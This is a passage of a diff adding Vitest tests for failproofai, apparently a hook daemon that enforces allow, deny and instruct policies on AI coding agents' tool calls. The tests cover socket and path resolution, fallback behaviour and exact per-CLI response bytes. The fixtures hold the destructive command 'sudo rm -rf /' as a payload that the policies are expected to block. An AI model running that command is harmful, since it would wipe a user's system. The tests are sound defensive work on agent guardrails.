}); + }); + + const startedAt = performance.now(); + const result = await tryDaemonEvaluate(makeRequest(), 5000, ENABLED); + const elapsed = performance.now() - startedAt; + + expect(result).toBeNull(); + // Rejected off the header alone: it did not wait for a body that a + // conforming daemon would never send. + expect(elapsed).toBeLessThan(2000); + await vi.waitFor(() => expect(server.disconnects).toBe(1)); + }); + + it("returns null on a truncated frame (EOF mid-body)", async () => { + await serve((socket) => { + socket.on("data", () => { + const full = frame(HELLO_ACK); + socket.write(full.subarray(0, full.length - 5)); + socket.end(); + }); + }); + + // A short read is a framing error, never a zero-filled frame. + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + }); + + it("returns null on a body that is not valid JSON", async () => { + await serve((socket) => { + socket.on("data", () => { + const body = Buffer.from("{not json", "utf8"); + socket.write(Buffer.concat([header(body.length), body])); + }); + }); + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + }); + + it("returns null when the daemon answers with an error result", async () => { + await serve( + (socket, state) => { + socket.on("data", () => { + const last = state.received[state.received.length - 1]; + if (!last) return; + if ("hello" in last) socket.write(frame(HELLO_ACK)); + else { + socket.write( + frame({ + request_id: last.request_id, + result: { error: { code: "canonicalization_mismatch", message: "no" } }, + }), + ); + } + }); + }, + ); + + // Every error is a client fallback to legacy, never a failed hook. + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + }); + + it("returns null when needs_user_context is non-empty", async () => { + await serve( + respondWith(evaluatedResult({ needs_user_context: ["custom/my-policy"] })), + ); + + // Accepting this would silently drop enforcement for a user's mutable + // policies — precisely the failure this product exists to prevent. + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + }); + + it.each([ + ["exit_code is not an integer", { exit_code: "0" }], + ["stdout is not a string", { stdout: 42 }], + ["stderr is missing", { stderr: undefined }], + ["decision is unknown", { decision: "maybe" }], + ["policy_name is not a string or null", { policy_name: 7 }], + ["reason is not a string or null", { reason: {} }], + ["policy_names is not an array of strings", { policy_names: [1, 2] }], + ["needs_user_context is not an array", { needs_user_context: "none" }], + ])("returns null when %s", async (_label, overrides) => { + await serve(respondWith(evaluatedResult(overrides))); + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + }); + + // ── peer verification ───────────────────────────────────────────────── + + it("returns null and never connects when install.json is missing", async () => { + const server = await startServer(dir, respondWith(evaluatedResult())); + servers.push(server); + process.env.FAILPROOFAI_DAEMON_SOCKET = server.path; + process.env.FAILPROOFAI_INSTALL_JSON = join(dir, "no-such-install.json"); + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + + // Unverified is never "proceed anyway": no socket is opened at all. + expect(server.connections).toBe(0); + }); + + it("returns null and never connects when install.json has no service_uid", async () => { + const server = await startServer(dir, respondWith(evaluatedResult())); + servers.push(server); + process.env.FAILPROOFAI_DAEMON_SOCKET = server.path; + const path = join(dir, "install.json"); + writeFileSync(path, JSON.stringify({ version: "1.0.0" }), "utf8"); + process.env.FAILPROOFAI_INSTALL_JSON = path; + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + expect(server.connections).toBe(0); + }); + + it("returns null and never connects when the socket owner is not the service UID", async () => { + const server = await startServer(dir, respondWith(evaluatedResult())); + servers.push(server); + process.env.FAILPROOFAI_DAEMON_SOCKET = server.path; + // The socket is owned by whoever runs the test; claim a different UID. + writeInstallJson((process.getuid?.() ?? 0) + 4242); + + expect(await tryDaemonEvaluate(makeRequest(), 500, ENABLED)).toBeNull(); + expect(server.connections).toBe(0); + }); + }); +}); + +// ── the handler insertion point ──────────────────────────────────────────── + +describe("handleHookEvent × daemon-client", () => { + const originalStdin = process.stdin; + let stdoutSpy: ReturnType; + let stderrSpy: ReturnType; + let dir: string; + let servers: TestServer[]; + let savedEnv: Record; + + function mockStdin(payload?: string): void { + Object.defineProperty(process, "stdin", { + value: { + setEncoding: vi.fn(), + destroy: vi.fn(), + on: vi.fn((event: string, cb: (data?: string) => void) => { + if (event === "data" && payload) cb(payload); + if (event === "end") cb(); + }), + readableEnded: !payload, + }, + writable: true, + configurable: true, + }); + } + + beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "fpai-handler-")); + servers = []; + savedEnv = {}; + for (const key of ENV_KEYS) { + savedEnv[key] = process.env[key]; + delete process.env[key]; + } + stdoutSpy = vi.spyOn(process.stdout, "write").mockImplementation(() => true); + stderrSpy = vi.spyOn(process.stderr, "write").mockImplementation(() => true); + vi.clearAllMocks(); + }); + + afterEach(async () => { + for (const server of servers) await server.close(); + for (const key of ENV_KEYS) { + if (savedEnv[key] === undefined) delete process.env[key]; + else process.env[key] = savedEnv[key]; + } + rmSync(dir, { recursive: true, force: true }); + vi.restoreAllMocks(); + Object.defineProperty(process, "stdin", { + value: originalStdin, + writable: true, + configurable: true, + }); + }); + + const DENY_PAYLOAD = JSON.stringify({ + tool_name: "Bash", + tool_input: { command: "sudo rm -rf /" }, + session_id: "sess-abc", + transcript_path: "/tmp/does-not-need-to-exist.jsonl", + cwd: "/home/user/project", + hook_event_name: "PreToolUse", + }); + + it("routes a daemon hit through the same stdout / activity / telemetry code", async () => { + const daemonStdout = '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"daemon says no"}}'; + const server = await startServer( + dir, + respondWith( + evaluatedResult({ + exit_code: 0, + stdout: daemonStdout, + stderr: "", + decision: "deny", + policy_name: "failproofai/block-sudo", + reason: "daemon says no", + }), + ), + ); + servers.push(server); + process.env.FAILPROOFAI_DAEMON_SOCKET = server.path; + const installPath = join(dir, "install.json"); + writeFileSync(installPath, JSON.stringify({ service_uid: process.getuid?.() ?? 0 }), "utf8"); + process.env.FAILPROOFAI_INSTALL_JSON = installPath; + process.env.FAILPROOFAI_DAEMON_MODE = "enforce"; + + const { handleHookEvent } = await import("../../src/hooks/handler"); + const { evaluatePolicies } = await import("../../src/hooks/policy-evaluator"); + const { readMergedHooksConfig } = await import("../../src/hooks/hooks-config"); + const { loadAllCustomHooks } = await import("../../src/hooks/custom-hooks-loader"); + const { persistHookActivity } = await import("../../src/hooks/hook-activity-store"); + const { trackHookEvent } = await import("../../src/hooks/hook-telemetry"); + + mockStdin(DENY_PAYLOAD); + const exitCode = await handleHookEvent("PreToolUse"); + + // `readMergedHooksConfig` DOES run on the daemon path, and must: the daemon + // evaluates the client's resolved enabled set, so the client has to resolve + // it. When the daemon supplied its own set instead, a user with 30 policies + // enabled silently got the 11 builtin defaults. + // + // What the daemon actually removes is everything below it. The expensive + // half is `loadAllCustomHooks`, which writes `.__failproofai_tmp__.mjs` + // files next to the user's source on every tool call; the config read is a + // few JSON reads by comparison. + expect(readMergedHooksConfig).toHaveBeenCalledTimes(1); + expect(loadAllCustomHooks).not.toHaveBeenCalled(); + expect(evaluatePolicies).not.toHaveBeenCalled(); + + // …and everything the handler does with a result still happens, once. + expect(exitCode).toBe(0); + expect(stdoutSpy).toHaveBeenCalledTimes(1); + expect(stdoutSpy).toHaveBeenCalledWith(daemonStdout); + expect(stderrSpy).not.toHaveBeenCalled(); + expect(persistHookActivity).toHaveBeenCalledTimes(1); + expect(vi.mocked(persistHookActivity).mock.calls[0][0]).toMatchObject({ + eventType: "PreToolUse", + integration: "claude", + toolName: "Bash", + policyName: "failproofai/block-sudo", + decision: "deny", + reason: "daemon says no", + sessionId: "sess-abc", + evaluator: "daemon", + }); + expect(trackHookEvent).toHaveBeenCalledWith( + "test-instance-id", + "hook_policy_triggered", + expect.objectContaining({ + policy_name: "failproofai/block-sudo", + decision: "deny", + has_custom_params: false, + param_keys_overridden: [], + }), + ); + }); + + it("falls back to the legacy path when the daemon hangs, and still answers", async () => { + const server = await startServer(dir, () => { + /* accept and go silent — the hang case, end to end */ + }); + servers.push(server); + process.env.FAILPROOFAI_DAEMON_SOCKET = server.path; + const installPath = join(dir, "install.json"); + writeFileSync(installPath, JSON.stringify({ service_uid: process.getuid?.() ?? 0 }), "utf8"); + process.env.FAILPROOFAI_INSTALL_JSON = installPath; + process.env.FAILPROOFAI_DAEMON_MODE = "enforce"; + + const { handleHookEvent } = await import("../../src/hooks/handler"); + const { evaluatePolicies } = await import("../../src/hooks/policy-evaluator"); + const { persistHookActivity } = await import("../../src/hooks/hook-activity-store"); + vi.mocked(evaluatePolicies).mockResolvedValueOnce({ + exitCode: 0, + stdout: "legacy-answered", + stderr: "", + policyName: "block-sudo", + reason: "sudo blocked", + decision: "deny", + }); + + mockStdin(DENY_PAYLOAD); + const exitCode = await handleHookEvent("PreToolUse"); + + expect(exitCode).toBe(0); + expect(evaluatePolicies).toHaveBeenCalledTimes(1); + expect(stdoutSpy).toHaveBeenCalledWith("legacy-answered"); + expect(vi.mocked(persistHookActivity).mock.calls[0][0]).toMatchObject({ + evaluator: "legacy", + decision: "deny", + }); + }, 20_000); + + it("produces the same output for a representative deny as it does on main", async () => { + delete process.env.FAILPROOFAI_DAEMON_MODE; + + const { handleHookEvent } = await import("../../src/hooks/handler"); + const { evaluatePolicies } = await import("../../src/hooks/policy-evaluator"); + const { readMergedHooksConfig } = await import("../../src/hooks/hooks-config"); + const { persistHookActivity } = await import("../../src/hooks/hook-activity-store"); + const { trackHookEvent } = await import("../../src/hooks/hook-telemetry"); + + const denyStdout = '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"sudo blocked"}}'; + vi.mocked(evaluatePolicies).mockResolvedValueOnce({ + exitCode: 0, + stdout: denyStdout, + stderr: "", + policyName: "block-sudo", + reason: "sudo blocked", + decision: "deny", + }); + mockStdin( + JSON.stringify({ + tool_name: "Bash", + tool_input: { command: "sudo rm -rf /" }, + session_id: "sess-abc", + cwd: "/home/user/project", + hook_event_name: "PreToolUse", + }), + ); + + const exitCode = await handleHookEvent("PreToolUse"); + + // 1. The legacy path ran — the daemon branch did not divert it. + expect(readMergedHooksConfig).toHaveBeenCalledWith("/home/user/project"); + expect(evaluatePolicies).toHaveBeenCalledTimes(1); + + // 2. The bytes written are exactly the evaluator's, unchanged. + expect(exitCode).toBe(0); + expect(stdoutSpy).toHaveBeenCalledTimes(1); + expect(stdoutSpy).toHaveBeenCalledWith(denyStdout); + expect(stderrSpy).not.toHaveBeenCalled(); + + // 3. Activity and telemetry are unchanged apart from the one added field, + // `evaluator`, which must read "legacy" whenever the daemon is off. + expect(persistHookActivity).toHaveBeenCalledTimes(1); + const entry = vi.mocked(persistHookActivity).mock.calls[0][0] as unknown as Record< + string, + unknown + >; + expect(entry).toMatchObject({ + eventType: "PreToolUse", + integration: "claude", + toolName: "Bash", + policyName: "block-sudo", + policyNames: undefined, + matchedPolicies: [], + decision: "deny", + reason: "sudo blocked", + sessionId: "sess-abc", + cwd: "/home/user/project", + hookEventName: "PreToolUse", + evaluator: "legacy", + }); + expect(trackHookEvent).toHaveBeenCalledWith( + "test-instance-id", + "hook_policy_triggered", + { + event_type: "PreToolUse", + cli: "claude", + tool_name: "Bash", + policy_name: "block-sudo", + decision: "deny", + is_custom_hook: false, + is_convention_policy: false, + convention_scope: null, + has_custom_params: false, + param_keys_overridden: [], + }, + ); + }); +}); diff --git a/__tests__/hooks/daemon-paths.test.ts b/__tests__/hooks/daemon-paths.test.ts new file mode 100644 index 00000000..822d2ca2 --- /dev/null +++ b/__tests__/hooks/daemon-paths.test.ts @@ -0,0 +1,314 @@ +/** + * The TypeScript client and the Rust daemon must resolve the same paths. + * + * This is the one disagreement in the whole daemon integration that does not + * fail loudly. If the daemon binds `~/.failproofai/run/failproofaid.sock` and + * the client looks in `~/.failproofai/runtime/`, nothing errors, nothing is + * logged, and no test that exercises either side alone notices: + * `tryDaemonEvaluate` stats a path that is not there, returns `null`, and every + * hook on the machine silently takes the legacy path forever. The daemon sits + * idle and healthy. Someone finds out weeks later by wondering why. + * + * So the two implementations are checked against each other, in two legs: + * + * **Leg 1 — the source of `crates/failproofaid/src/paths.rs` (unconditional).** + * The path components and the environment-variable names are extracted from the + * Rust source and used to rebuild its answer, which is then compared against the + * TypeScript for every case. This leg carries the guarantee, because it runs in + * the plain unit suite with no build step: a `bun run test:run` on a machine + * that has never run `cargo` still catches the drift. + * + * **Leg 2 — the built binary's own `--help` (when `target/debug/failproofaid` + * exists).** `failproofaid --help` prints `Resolved for this environment: …`, + * so the *compiled* Rust can be driven through the same cases with a controlled + * environment. This is the stronger check — it tests the artifact rather than a + * transcription of its source — but it cannot be the only one, because it + * silently tests nothing wherever the binary has not been built. Leg 1 exists + * precisely so this one is allowed to be conditional. + * + * Leg 1 parses rather than reimplements on purpose. A hand-copied + * `".failproofai/run"` in this file would drift in exactly the same silent way + * as the one in `daemon-client.ts`, and the test would keep passing while both + * sides were wrong together. + */ +import { describe, it, expect } from "vitest"; +import { readFileSync, existsSync } from "node:fs"; +import { spawnSync } from "node:child_process"; +import { join, resolve } from "node:path"; +import { socketPath, installManifestPath } from "../../src/hooks/daemon-client"; + +const REPO_ROOT = resolve(__dirname, "../.."); +const PATHS_RS = join(REPO_ROOT, "crates/failproofaid/src/paths.rs"); +const BINARY = join(REPO_ROOT, "target/debug/failproofaid"); + +const RUST = readFileSync(PATHS_RS, "utf8"); + +// ── Reading paths.rs ─────────────────────────────────────────────────────── + +/** + * The body of `pub fn `, brace-balanced. + * + * Brace counting rather than a line regex: `socket_path` spans a `map` closure + * with nested braces, and a regex that stopped at the first `}` would silently + * return a prefix — which would make every assertion below weaker without + * making any of them fail. + */ +function fnBody(name: string): string { + const signature = RUST.indexOf(`pub fn ${name}(`); + if (signature === -1) throw new Error(`paths.rs no longer defines pub fn ${name}`); + const open = RUST.indexOf("{", signature); + if (open === -1) throw new Error(`could not find the body of ${name}`); + let depth = 0; + for (let i = open; i < RUST.length; i++) { + if (RUST[i] === "{") depth++; + else if (RUST[i] === "}") { + depth--; + if (depth === 0) return RUST.slice(open + 1, i); + } + } + throw new Error(`unbalanced braces in ${name}`); +} + +/** The value of a `const NAME: &str = "…";` declaration. */ +function rustConst(name: string): string { + const m = new RegExp(`const ${name}: &str = "([^"]+)";`).exec(RUST); + if (!m) throw new Error(`paths.rs no longer declares const ${name}`); + return m[1]; +} + +const SOCKET_FILE = rustConst("SOCKET_FILE"); + +/** + * Every `.join(…)` argument in `segment`, in order, with `SOCKET_FILE` + * resolved to its literal. + */ +function joinedComponents(segment: string): string[] { + return [...segment.matchAll(/\.join\(\s*(?:"([^"]+)"|([A-Z_][A-Z0-9_]*))\s*\)/g)].map((m) => { + if (m[1] !== undefined) return m[1]; + if (m[2] === "SOCKET_FILE") return SOCKET_FILE; + throw new Error(`paths.rs joins an identifier this test cannot resolve: ${m[2]}`); + }); +} + +/** Split `socket_path`'s body into its three preference branches. */ +function socketBranches(): { explicit: string; runtimeDir: string; home: string } { + const body = fnBody("socket_path"); + const iRuntime = body.indexOf("non_empty(runtime_dir)"); + const iHome = body.indexOf("non_empty(home)"); + if (iRuntime === -1 || iHome === -1 || iHome < iRuntime) { + throw new Error("socket_path no longer has the explicit → runtime_dir → home shape"); + } + return { + explicit: body.slice(0, iRuntime), + runtimeDir: body.slice(iRuntime, iHome), + home: body.slice(iHome), + }; +} + +const BRANCHES = socketBranches(); +const RUNTIME_COMPONENTS = joinedComponents(BRANCHES.runtimeDir); +const HOME_COMPONENTS = joinedComponents(BRANCHES.home); +const ROOT_COMPONENTS = joinedComponents(fnBody("failproofai_root")); +const MANIFEST_COMPONENTS = [ + ...ROOT_COMPONENTS, + ...joinedComponents(fnBody("install_manifest_path")), +]; + +/** Rebuild the Rust's answer for `socket_path(explicit, runtimeDir, home)`. */ +function rustSocketPath( + explicit: string | undefined, + runtimeDir: string | undefined, + home: string | undefined, +): string | null { + if (explicit) return explicit; + if (runtimeDir) return join(runtimeDir, ...RUNTIME_COMPONENTS); + if (home) return join(home, ...HOME_COMPONENTS); + return null; +} + +/** Rebuild the Rust's answer for `install_manifest_path(explicit, home)`. */ +function rustManifestPath(explicit: string | undefined, home: string | undefined): string | null { + if (explicit) return explicit; + if (home) return join(home, ...MANIFEST_COMPONENTS); + return null; +} + +// ── The cases ────────────────────────────────────────────────────────────── + +const HOME = "/home/enrolled"; + +interface SocketCase { + readonly name: string; + readonly explicit?: string; + readonly runtimeDir?: string; + readonly home?: string; +} + +const SOCKET_CASES: readonly SocketCase[] = [ + { + name: "$FAILPROOFAI_DAEMON_SOCKET set — wins over both", + explicit: "/tmp/explicit.sock", + runtimeDir: "/run/user/1000", + home: HOME, + }, + { + name: "$XDG_RUNTIME_DIR set, no explicit override", + runtimeDir: "/run/user/1000", + home: HOME, + }, + { + name: "both unset — the ~/.failproofai/run/ fallback", + home: HOME, + }, + { + // Exported-but-empty is normal in stripped environments (a `su` without + // `-l`, a container entrypoint, a cron job) and must not be read as "the + // runtime directory is the filesystem root". Both sides treat "" as unset; + // if one of them ever stopped, the daemon would bind /failproofai/… and + // the client would look in $HOME. + name: "$XDG_RUNTIME_DIR set but empty — behaves as unset", + runtimeDir: "", + home: HOME, + }, + { + name: "$FAILPROOFAI_DAEMON_SOCKET set but empty — falls through", + explicit: "", + runtimeDir: "/run/user/1000", + home: HOME, + }, + { + name: "nothing resolves — a broken environment is reported, not invented", + }, +]; + +// ── Leg 1: against the source of paths.rs ────────────────────────────────── + +describe("daemon path resolution agrees with crates/failproofaid/src/paths.rs", () => { + it("read a complete set of components out of paths.rs", () => { + // Anti-vacuity. Every assertion below is built from these arrays, so a + // parse that silently produced `[]` would make the whole suite compare + // `join(home)` against `join(home)` and pass while asserting nothing. + expect(SOCKET_FILE).toBe("failproofaid.sock"); + expect(RUNTIME_COMPONENTS).toEqual(["failproofai", "failproofaid.sock"]); + expect(HOME_COMPONENTS).toEqual([".failproofai", "run", "failproofaid.sock"]); + expect(ROOT_COMPONENTS).toEqual([".failproofai"]); + expect(MANIFEST_COMPONENTS).toEqual([".failproofai", "install.json"]); + // The explicit branch returns the path verbatim — no components appended. + expect(joinedComponents(BRANCHES.explicit)).toEqual([]); + }); + + it("reads the same environment variables, in the same preference order", () => { + // The paths agreeing is only half of it: if the Rust consulted + // $XDG_RUNTIME_DIR where the client consulted $XDG_DATA_HOME, every case + // below would still pass while the two disagreed on every real machine. + const socketEnv = fnBody("default_socket_path"); + expect(socketEnv.indexOf("FAILPROOFAI_DAEMON_SOCKET")).toBeGreaterThanOrEqual(0); + expect(socketEnv.indexOf("XDG_RUNTIME_DIR")).toBeGreaterThan( + socketEnv.indexOf("FAILPROOFAI_DAEMON_SOCKET"), + ); + expect(socketEnv.indexOf('var("HOME")')).toBeGreaterThan(socketEnv.indexOf("XDG_RUNTIME_DIR")); + + const manifestEnv = fnBody("default_install_manifest_path"); + expect(manifestEnv.indexOf("FAILPROOFAI_INSTALL_JSON")).toBeGreaterThanOrEqual(0); + expect(manifestEnv.indexOf('var("HOME")')).toBeGreaterThan( + manifestEnv.indexOf("FAILPROOFAI_INSTALL_JSON"), + ); + }); + + it.each(SOCKET_CASES)("socket: $name", ({ explicit, runtimeDir, home }) => { + expect(socketPath(explicit, runtimeDir, home)).toBe(rustSocketPath(explicit, runtimeDir, home)); + }); + + it.each([ + { name: "$FAILPROOFAI_INSTALL_JSON set — wins", explicit: "/tmp/install.json", home: HOME }, + { name: "unset — ~/.failproofai/install.json", explicit: undefined, home: HOME }, + { name: "set but empty — falls through to the home path", explicit: "", home: HOME }, + { name: "no home — nothing to resolve", explicit: undefined, home: undefined }, + ])("install.json: $name", ({ explicit, home }) => { + expect(installManifestPath(explicit, home)).toBe(rustManifestPath(explicit, home)); + }); + + it("resolves the exact paths the scope decision settled on", () => { + // Stated literally once, so that a *coordinated* rename — both + // implementations changed together — is still a visible edit to this file + // rather than a silent relocation of the user's state. The two roots and + // the socket file name are the product's on-disk contract. + expect(socketPath(undefined, undefined, HOME)).toBe( + "/home/enrolled/.failproofai/run/failproofaid.sock", + ); + expect(socketPath(undefined, "/run/user/1000", HOME)).toBe( + "/run/user/1000/failproofai/failproofaid.sock", + ); + expect(installManifestPath(undefined, HOME)).toBe("/home/enrolled/.failproofai/install.json"); + }); + + it("puts nothing anywhere that would need elevated privilege", () => { + // The property the whole user-scope decision turns on, asserted on the + // client side too — `paths.rs` has the mirror of this test. + for (const runtimeDir of [undefined, "/run/user/1000"]) { + const resolved = socketPath(undefined, runtimeDir, HOME); + expect(resolved).not.toBeNull(); + for (const privileged of ["/opt/", "/var/lib/", "/etc/", "/Library/", "/usr/"]) { + expect(resolved!.startsWith(privileged)).toBe(false); + } + } + expect(installManifestPath(undefined, HOME)!.startsWith(HOME)).toBe(true); + }); +}); + +// ── Leg 2: against the built binary ──────────────────────────────────────── + +const binaryBuilt = existsSync(BINARY); + +describe.skipIf(!binaryBuilt)("the built failproofaid resolves the same socket path", () => { + /** `failproofaid --help`'s `Resolved for this environment:` line. */ + function resolvedByBinary(env: Record): string | null { + const run = spawnSync(BINARY, ["--help"], { + encoding: "utf8", + // `NODE_ENV` is required by this repo's `ProcessEnv` augmentation and is + // not one of the three variables `default_socket_path()` reads, so it + // cannot affect the answer. Everything else is deliberately absent. + env: { NODE_ENV: "test", ...env }, + timeout: 30_000, + }); + if (run.status !== 0) { + throw new Error(`failproofaid --help exited ${run.status}: ${run.stderr}`); + } + const line = run.stdout.split("\n").find((l) => l.includes("Resolved for this environment:")); + if (line === undefined) { + throw new Error( + "failproofaid --help no longer prints its resolved socket path, so this " + + "leg silently stopped checking anything. Restore the line or delete this test.", + ); + } + const value = line.slice(line.indexOf(":") + 1).trim(); + return value.startsWith("<") ? null : value; + } + + it.each(SOCKET_CASES)("socket: $name", ({ explicit, runtimeDir, home }) => { + // A constructed environment rather than `{...process.env}`: the real one + // carries an $XDG_RUNTIME_DIR and a $HOME that would leak into the "unset" + // cases and turn them into no-ops. + const env: Record = {}; + if (explicit !== undefined) env.FAILPROOFAI_DAEMON_SOCKET = explicit; + if (runtimeDir !== undefined) env.XDG_RUNTIME_DIR = runtimeDir; + if (home !== undefined) env.HOME = home; + + expect(resolvedByBinary(env)).toBe(socketPath(explicit, runtimeDir, home)); + }); +}); + +describe("leg 2 coverage is reported rather than assumed", () => { + it("says so when the binary leg did not run", () => { + // A conditional suite that quietly covers nothing is worse than no suite, + // because the file's presence reads as coverage. This makes the state + // explicit in the run: if `target/debug/failproofaid` is absent, leg 1 is + // the only thing that ran, and leg 1 checks the source rather than the + // artifact. + if (!binaryBuilt) { + expect(existsSync(PATHS_RS)).toBe(true); + return; + } + expect(binaryBuilt).toBe(true); + }); +}); diff --git a/__tests__/hooks/encode-response.test.ts b/__tests__/hooks/encode-response.test.ts new file mode 100644 index 00000000..be456f3c --- /dev/null +++ b/__tests__/hooks/encode-response.test.ts @@ -0,0 +1,391 @@ +// @vitest-environment node +/** + * Direct byte-level coverage for `encodeResponse` — the seam between running + * policies and speaking each vendor's native hook protocol. + * + * `evaluatePolicies` is `encodeResponse(await evaluateVerdicts(...))`, and + * every other test in the suite drives the pair through that public wrapper. + * This file drives `encodeResponse` on its own with hand-built `VerdictSet` + * values, because a caller that evaluates policies in more than one place + * (merging several verdict sets before encoding a single response) reaches the + * encoder without ever going through `evaluatePolicies`. That path needs its + * own guarantee. + * + * Every expected string below was captured from the evaluator BEFORE the + * split, so a drift here is a real change in what a CLI receives — not a + * refactor artifact. The twelve response matrices are mutually incompatible + * and each was verified against a live vendor build (see the per-branch + * comments in policy-evaluator.ts); "semantically equivalent" is not a thing + * here, so these assertions are on exact bytes. + * + * The matrix is keyed off `INTEGRATION_TYPES` rather than a literal list, so + * a thirteenth CLI fails loudly instead of silently going untested. + */ +import { describe, it, expect } from "vitest"; +import { encodeResponse } from "../../src/hooks/policy-evaluator"; +import type { VerdictSet, EvaluationResult } from "../../src/hooks/policy-evaluator"; +import { INTEGRATION_TYPES } from "../../src/hooks/types"; +import type { IntegrationType, SessionMetadata } from "../../src/hooks/types"; + +const POLICY = "test/p"; +const DENY_REASON = "nope"; +const INSTRUCT_REASON = "do the thing"; + +// The four message bodies the matrix is built from. Kept as named constants so +// a reworded template fails every affected cell at once rather than one. +const BLOCKED_BASH = `Blocked Bash by failproofai because: ${DENY_REASON}, as per the policy configured by the user`; +const BLOCKED_STOP = `Blocked stop by failproofai because: ${DENY_REASON}, as per the policy configured by the user`; +const MANDATORY_DENY = `MANDATORY ACTION REQUIRED from failproofai (policy: ${POLICY}): ${DENY_REASON}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; +const INSTRUCTION = `Instruction from failproofai: ${INSTRUCT_REASON}`; +const INSTRUCT_NOTE = `[failproofai] ${POLICY}: ${INSTRUCT_REASON}\n`; + +function session(cli: IntegrationType): SessionMetadata { + return { sessionId: "s", transcriptPath: "/dev/null", cwd: "/workspace", cli }; +} + +/** A short-circuited deny, exactly as `evaluateVerdicts` returns one. */ +function denyVerdicts(toolName?: string): VerdictSet { + return { + deny: { policyName: POLICY, reason: DENY_REASON }, + instructEntries: [], + allowEntries: [], + matchedCount: 1, + toolName, + }; +} + +/** One instruct, no deny — the accumulating (non-short-circuiting) path. */ +function instructVerdicts(toolName?: string): VerdictSet { + return { + deny: null, + instructEntries: [{ policyName: POLICY, reason: INSTRUCT_REASON }], + allowEntries: [], + matchedCount: 1, + toolName, + }; +} + +/** Policies ran and every one allowed without a message. */ +function silentAllowVerdicts(toolName?: string): VerdictSet { + return { deny: null, instructEntries: [], allowEntries: [], matchedCount: 1, toolName }; +} + +type Wire = Pick; + +function wire(result: EvaluationResult): Wire { + return { + exitCode: result.exitCode, + stdout: result.stdout, + stderr: result.stderr, + decision: result.decision, + policyName: result.policyName, + reason: result.reason, + }; +} + +const SILENT_ALLOW: Wire = { + exitCode: 0, + stdout: "", + stderr: "", + decision: "allow", + policyName: null, + reason: null, +}; + +// Claude's own shapes, reused by every CLI with no branch of its own. +const CLAUDE_DENY_PRETOOLUSE: Wire = { + exitCode: 0, + stdout: `{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"${BLOCKED_BASH}"}}`, + stderr: "", + decision: "deny", + policyName: POLICY, + reason: DENY_REASON, +}; +const CLAUDE_DENY_STOP: Wire = { + exitCode: 2, + stdout: "", + stderr: MANDATORY_DENY, + decision: "deny", + policyName: POLICY, + reason: DENY_REASON, +}; +const CLAUDE_INSTRUCT_PROMPT: Wire = { + exitCode: 0, + stdout: `{"hookSpecificOutput":{"hookEventName":"UserPromptSubmit","additionalContext":"${INSTRUCTION}"}}`, + stderr: "", + decision: "instruct", + policyName: POLICY, + reason: INSTRUCT_REASON, +}; + +/** An instruct that has no channel on this CLI: allow + a note on stderr. */ +const DEGRADED_INSTRUCT: Wire = { + exitCode: 0, + stdout: "", + stderr: INSTRUCT_NOTE, + decision: "instruct", + policyName: POLICY, + reason: INSTRUCT_REASON, +}; + +function deny(stdout: string, exitCode = 0, stderr = ""): Wire { + return { exitCode, stdout, stderr, decision: "deny", policyName: POLICY, reason: DENY_REASON }; +} +function instruct(stdout: string, stderr = ""): Wire { + return { exitCode: 0, stdout, stderr, decision: "instruct", policyName: POLICY, reason: INSTRUCT_REASON }; +} + +interface Cell { + denyPreToolUse: Wire; + denyStop: Wire; + instructUserPromptSubmit: Wire; + silentAllow: Wire; +} + +// Typed as a total map over IntegrationType: a thirteenth CLI is a tsc error +// here, and the coverage assertion below turns it into a test failure too. +const MATRIX: Record = { + // Claude: the reference contract the encoder falls back to. + claude: { + denyPreToolUse: CLAUDE_DENY_PRETOOLUSE, + denyStop: CLAUDE_DENY_STOP, + instructUserPromptSubmit: CLAUDE_INSTRUCT_PROMPT, + silentAllow: SILENT_ALLOW, + }, + // Codex: Claude-shaped for all three of these; its own branch is + // PermissionRequest only. + codex: { + denyPreToolUse: CLAUDE_DENY_PRETOOLUSE, + denyStop: CLAUDE_DENY_STOP, + instructUserPromptSubmit: CLAUDE_INSTRUCT_PROMPT, + silentAllow: SILENT_ALLOW, + }, + // Copilot: exit 2 is never a deny channel; Stop needs {decision:"block"}. + copilot: { + denyPreToolUse: CLAUDE_DENY_PRETOOLUSE, + denyStop: deny(`{"decision":"block","reason":${JSON.stringify(MANDATORY_DENY)}}`), + instructUserPromptSubmit: CLAUDE_INSTRUCT_PROMPT, + silentAllow: SILENT_ALLOW, + }, + // Cursor: flat {permission,user_message,agent_message}; Stop is + // {followup_message}, the only force-retry channel it honors. + cursor: { + denyPreToolUse: deny( + `{"permission":"deny","user_message":"${BLOCKED_BASH}","agent_message":"${BLOCKED_BASH}"}`, + ), + denyStop: deny(`{"followup_message":${JSON.stringify(MANDATORY_DENY)}}`), + instructUserPromptSubmit: instruct(`{"permission":"allow","additional_context":"${INSTRUCTION}"}`), + silentAllow: SILENT_ALLOW, + }, + // OpenCode: Stop is notification-only, so the deny rides as + // additionalContext for the shim to re-submit via client.session.prompt. + opencode: { + denyPreToolUse: CLAUDE_DENY_PRETOOLUSE, + denyStop: deny(`{"hookSpecificOutput":{"additionalContext":${JSON.stringify(MANDATORY_DENY)}}}`), + instructUserPromptSubmit: CLAUDE_INSTRUCT_PROMPT, + silentAllow: SILENT_ALLOW, + }, + // Pi: flat {permission,reason} everywhere; Stop reuses the deny shape so the + // shim can stash it for next-turn before_agent_start injection. + pi: { + denyPreToolUse: deny(`{"permission":"deny","reason":"${BLOCKED_BASH}"}`), + denyStop: deny(`{"permission":"deny","reason":${JSON.stringify(MANDATORY_DENY)}}`), + instructUserPromptSubmit: instruct(`{"permission":"allow","reason":"${INSTRUCTION}"}`), + silentAllow: SILENT_ALLOW, + }, + // Hermes: one {decision:"block"} shape for every event (it ignores exit + // codes), and no Stop event at all — so a Stop deny is 